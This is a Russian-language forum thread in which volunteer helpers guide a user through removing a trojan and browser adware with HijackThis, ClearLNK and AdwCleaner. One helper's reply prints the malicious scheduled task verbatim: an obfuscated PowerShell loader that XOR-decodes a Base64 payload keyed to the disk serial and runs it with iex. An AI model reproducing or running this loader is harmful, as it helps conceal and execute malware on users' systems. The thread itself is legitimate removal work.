Не подключается Скайп, мусор в Хроме

[Zayfour]

Здравствуйте. Сегодня Аваст нашел троян IDP.ALEXA.51 в файле task.exe, что по пути Program Files\Windows NT\Accessories. Файл был удален вручную. Не знаю, связано ли это с ним, но уже несколько дней Скайп не может соединиться с сервером. В ярлыке Хрома же прописалась какая-то дрянь.

[Info_bot]

Уважаемый(ая) Zayfour, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

O22 - Task: \Microsoft\Windows\Bluetooth\Bluetooth - C:\Program Files\Windows NT\Accessories\task.exe -Command "function dec([byte[]]$cb, [string]$pass){$pb = [System.Text.Encoding]::UTF8.GetBytes($pass);$s = $pb[0];$j=0;for($i = 0; $i -lt $cb.Count; $i++){if($j -ge $pb.Count){$j=0} $s = (23 -band $s -bor 152) -bxor $s;$cb[$i] = $cb[$i] -bxor $pb[$j] -bxor $s;$j++}return $cb;}$obj = gwmi win32_diskdrive | where {$_.DeviceID -eq '\\.\PHYSICALDRIVE0'} | select Model, Serialnumber;$d = dec ([System.Convert]::FromBase64String('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')) ($obj.Model + ' ' + $obj.Serialnumber);iex (iex('[System.Text.Encoding]::UTF8.Get'+'String($d)'))" (file missing)

Перетащите лог Check_Browsers_LNK.log из папки Autologger на утилиту ClearLNK. Отчёт о работе прикрепите.

Сделайте лог Malwarebytes AdwCleaner.

[Zayfour]

Выполнено.

[Vvvyg]

Запустите повторно Malwarebytes AdwCleaner (в Windows Vista/7/8 необходимо запускать через правую кнопку мыши от имени администратора)), нажмите кнопку Сканировать (Scan), по окончании сканирования уберите галочки на вкладках Папки (Folders) и Реестр (Registry) со всех пунктов, где упоминается Zona если используете эту программу.

Установите в пункте меню "Настройки" (Settings) галочку "Сброс политик Chrome" .
Затем нажмите Очистка (Cleaning) и по окончании удаления перезагрузите систему по требованию программы.

После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C0].txt, прикрепите к своему следующему сообщению.

Очистите кэш и cookies-файлы браузеров и сообщите, что с проблемами.

У Skype были на днях проблемы, надо было перезайти в учётку.

[Zayfour]

Скайп сегодня заработал и без перезахода в акк, видать и правда были проблемы у них. Из браузера, вроде бы, все пропало. Спасибо.

[Vvvyg]

Запустите AdwCleaner и нажмите Файл -> Деинсталлировать (Uninstall).

Выполните рекомендации после лечения.